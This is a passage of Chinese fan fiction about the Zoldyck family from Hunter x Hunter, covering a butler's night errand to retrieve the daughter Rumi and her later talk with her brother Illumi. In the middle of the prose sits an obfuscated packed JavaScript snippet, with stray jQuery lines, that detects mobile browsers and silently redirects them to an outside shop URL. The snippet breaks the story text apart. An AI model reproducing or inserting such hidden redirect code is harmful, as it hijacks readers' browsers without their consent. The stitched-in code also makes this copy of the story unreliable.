梧桐刚升职为管家执事的时候,派到夫人身边听从调遣。夫人平时是一个优雅的人,说话轻声细语,但一遇到琉米大小姐的事情,就会突然变成另外狂化的模样,梧桐感到自己的神经经过夫人的声波攻击得到了一定程度的加强。
在夫人眼中,琉米小姐是潜力最强,也是最可爱的孩子。但最近按照夫人情绪波动的频率推断,小姐应该是提前进入了叛逆期。
“琉米!现在已经不愿意陪陪妈妈了吗?!妈妈为了琉米准备了很多漂亮的小裙子,琉米已经很久没有穿过它们了!”夫人一副彻底伤到心的样子,梧桐站立在旁边习惯性递上手帕。
琉米小姐坐在餐桌上,慢吞吞地吃着饭后点心,即使按照标准的用餐礼仪来说,也太过慢了。
小姐咀嚼的时候,甚至会像是突然麻到神经一样停住,缓过来再继续啃点心。
梧桐扫了一眼,收回视线,内心有种莫名的老父亲的慈祥,明明他才二十岁出头来着。
琉米咽下口中的食物,略带不满地说,“不要,妈妈很吵。”她跳下椅子,头也不回地招手,“再见妈妈,哦,还有梧桐。”
基裘的脑袋分成两半,一半因为女儿的叛逆悲伤愤怒,一半又因为女儿成长而欣慰。两个脑袋一对峙,讨论出一个问题。
基裘猛地转头,质问梧桐,“琉米为什么会和你告别?!”
梧桐转到基裘身边办事已经半年了,这半年他跟着夫人见过小姐很多次,小姐却像从来没有见过他一样,即使他单独见到她行礼,小姐也只是像背景板一样把他略过去。只有上一次……
一周前的晚上,梧桐晚上轮完值,回到管家集体住宅,准备卸下所有疲惫好好休息的时候,随身携带的电话突然响起急促的铃声。
刚接通就传来夫人狂风骤雨般的声音,“琉米,你把琉米带回来!她晚上跑到半山腰的密林去了,就在管家住宅左边十五公里的位置。”夫人咬牙切齿一般絮絮叨叨。
“是因为我把琉米身边那个女仆换掉而感到不满吗,太让妈妈伤心了,妈妈才是最重要的啊!总之,梧桐你去把她带回来,她要在十一点前睡着。”
啊,美好的夜晚逝去了。
梧桐认命接下这个任务,思索着如何不插手母女矛盾完美解决这件事。
黑夜的密林在月光下影影绰绰,张牙舞爪,时不时传出动物此起彼伏的吼叫。琉米小姐不难找,在最粗壮大树的枝干上盘腿坐着,沉默的气息与林木融合在一起,若不是她的银发在月辉下散出柔柔的微光,梧桐可能还要再找一段时间。
梧桐没掩饰自己的脚步声,停在树下。
琉米小姐撑着下巴,闭着眼一副休憩的模样。秀丽精致的面容在飘动的树叶阴影中若隐若现,若不是颤动的睫毛,真像一尊精雕细琢的泥塑。
两人都没有说话,梧桐想着快到时间了,该提醒小姐了,但他的嘴巴显然有自己的想法,紧闭着不说话。算了,再等等吧。
打乱这静谧的是他的手机,“哔哔哔”地响起。梧桐接听,夫人尖利的声音响遍整个空间,甚至一个人就把这静僻的地方填补得热闹了。
“琉米!!!为什么还不回来,妈妈没有做错任何事情,有什么烦恼可以和妈妈说,外面的空气多冷啊!”
下一秒梧桐的手机被拿走,琉米小姐的速度很快,甚至连高处跳下来的脚步声都完美控制住了。
她的声音很平静,与充满攻击性的语言很有反差。“我的烦恼就是妈妈,妈妈很烦,总是跟着我,监视我,让我没有自己的时间,连睡觉都要和我一起睡,我不喜欢。”
“妈妈的声音也很吵,有时候听到妈妈尖叫,都有种攻击的欲望,最近已经有些难以忍耐了。”
电话那边沉默了几秒。梧桐下意识屏住了呼吸,听到小姐对夫人大不敬的话,自己不会被处理掉吧。
“妈妈不信!!!琉米在说气话吧,一定是在为妈妈换掉你的女仆生气——”
小姐径直打断她的话,疑惑道,“那是谁?又不是很重要的人,换掉就换掉了,妈妈不用拿这个找借口噢,我就是单纯的讨厌妈妈而已。”
小姐之前的贴身女仆叫,莉亚。梧桐垂眼补充,莉亚在三个月前调回普通女仆岗位,频繁被调出任务,在一次暗杀任务中死掉了。
电话里夫人的声音惊喜极了,“啊啊啊啊啊!多么冷酷的心态啊,妈妈的琉米——”
电话被挂断了,梧桐接住被扔回来的手机,跟着小姐原路返回。
果然,不太喜欢揍敌客呢,有点怀念流星街了。梧桐转念又想到流星街尸横遍野留下的腥臭味,又打消了念头。
小姐双手插兜,敏捷地跳过盘虬的树根,一头柔顺的银色长发在风中绸缎一般晃动着,像是精灵一样。
管家住宅的灯火越发清晰了,小姐停下脚步,转头看着他。“就到这里吧,剩下的路我自己走,你回去休息吧,梧桐。”说着,她翘起大拇指对着梧桐,补充道,“你身上有我妈妈缺少的美德,继续保持噢。”
夫人缺少的是,保持安静吧。小姐原来是这样性格的人吗?
梧桐弯着腰,手放在胸口,目送着小姐离去。小姐银辉的头发逐渐消失不见,隐入在枯枯戮山无光的黑色山顶。
……
琉米吃完饭就把基裘抛之脑后了,路过厨房的时候,她甚至又拿了两块今天的餐后甜点。今天的神经毒素很给力,像是吃跳跳糖一样,脑袋酥酥麻麻的。
看到行礼的仆人,她略带愉悦地点头回应。很显然,这一周她的心情很不错。
因为基裘终于在她鲜明的抗拒下,稍微控制了那病态的掌控欲,至少睡觉可以一个人了,给席巴的电话还是有点用的。
之前的什么【把妈妈当“妈妈”,把妈妈当boss】这种发癫的话被撤回了,那个时候她太弱小了,在不知道什么时候才能强大的忧虑下才会采用这种对策。
现在的话,拥有变强希望,甚至已经展现了杰出天赋的自己,已经不会靠过渡自己的支配权才能依附他人存在了。
而且,自从她发现,基裘只要自己变强,就可以容忍很多后,她就更不乐意扮演乖孩子了,反正什么都会被夸,也许尿得久也会被夸膀胱强大……
她晃了晃脑袋,把奇怪的想法摇出去。真可怕,都是被变态传染了。她自己认为自己是个正常人的,虽然病房里困了一辈子,但她还是知道,只有温柔对待他人,才能换来同样温柔的对待。
揍敌客这种虐待式养孩子,物理刺激、精神控制,估计孩子养出来也不知道正常的爱是什么吧,特别揍敌客还总是以“爱”之名行事。连莉亚陪她玩游戏,都要被以“带小姐不务正业”调走,她甚至都不敢问莉亚去哪里了。
真愤怒啊,感觉从ICU出来,转到了精神病院,以为可以放松了,一看院长病得最严重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292559|198521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
还好,伊路米和她接触得早,他的变态基因控制在可以忍受的范围,如果也来“爱你就要控制你”那一套,就给他砍死!
如果她是揍敌客家主,她绝对不会这样领导家族,让家人心甘情愿奉献的关键不是恐惧、鞭笞、惯性服从,而是在这些中加入动人的“爱”啊。而且“爱”不能太多,多到他们可以随意浪费,也不能太少,不然随便来个好人就叼走了。
嗯……感觉可以实验一下呢,伊路米的话没有参考空间,因为哪一套他都喜欢,如果再来个弟弟就好了。
现在基裘已经不和她一起睡觉了,应该很快就有弟弟了吧,期待呢。
······
一天的训练很快结束,琉米卸下负重洗澡,回到房间的时候,已经不会被伊路米吓到了。
“为什么老不爱开灯。”琉米无语,把灯打开,伊路米一身破破烂烂的样子,袖子、衣摆被撕开了,脸颊上干涸的暗红色血液,配上他黑洞的大眼,像是被鬼上身的恐怖人偶。
“好幼稚,你已经吓不到我了。”琉米走过去,凑到伊路米的脸蛋边上,闻了闻,“不是你的血液吧,别人的血糊在脸上不恶心吗?”
伊路米睁大眼睛,握起拳头,这是他独有的惊讶表达。“姐姐好厉害,这也能闻出来吗?”
琉米把湿巾盖到他的脸上,像用抹布擦玻璃一样,漫不经心地回答,“当然,我们的血液里带有毒素的味道啊,很明显吧。”
伊路米被姐姐用力地擦拭,嘴巴艰难地开合,“完全,闻不到呢。”他的脸蛋被擦得红彤彤的,两腮像两颗小西红柿,鼻子也红红的,他微鼓着嘴,不甘心道,“怪不得总是吓不倒姐姐。”
“啪。”琉米顺手拍了拍他的脑袋,“为什么想要吓我,恶趣味。”
伊路米盯过来,“我想要姐姐的每一种情绪,属于我的每一种。”
琉米“哇偶”了一声,给他支招,“你去把妈妈打一顿,我就被吓到了。”
伊路米勾起的唇角瞬间抚平,默不作声,后又抬头抱怨,“姐姐才是恶趣味。”
琉米没忍住捏了把他肉嘟嘟的小脸蛋,这两年伊路米肥美了不少,都是和她一起吃的。她恢复之后,报复性吃美食,从特别瘦削到现在有了健康孩子的肉感,而伊路米就是在正常体重上一路做加法,已经被妈妈警告了。
琉米照常询问,“今天动手了吗?”她问的是,伊路米有没有执行杀人的任务。如果伊路米动手了,按照两个人同岁的前提条件,她应该很快就会执行这种任务。
伊路米:“没有,还是跟着爸爸做踩点、看风、清扫的工作。这个血,是打扫的时候,我自己抹的。”
奇葩啊,估计席巴看着干干净净的儿子,糊着一脸血出来也傻了。估计以为自己儿子是变态呢。
伊路米一脸疑惑,“姐姐很害怕杀人吗?”
琉米不知道怎么回答,她没有什么实感,只是隐隐约约的排斥而已。她一直艰难求活,把生命看得无比重要,把杀手当作“事业”随意夺取他人的生命,潜意识让她不舒服,对她来说这是不必要的任务。
那就把他们当作阻挡自己路的人吧,如果是为了自己,那就什么都可以,她就是这么自私的存在。
姐姐的回答让伊路米有些听不懂。
“只是等待而已。”等待第一颗棋子落下,才好思考下一步怎么走,也不得不走。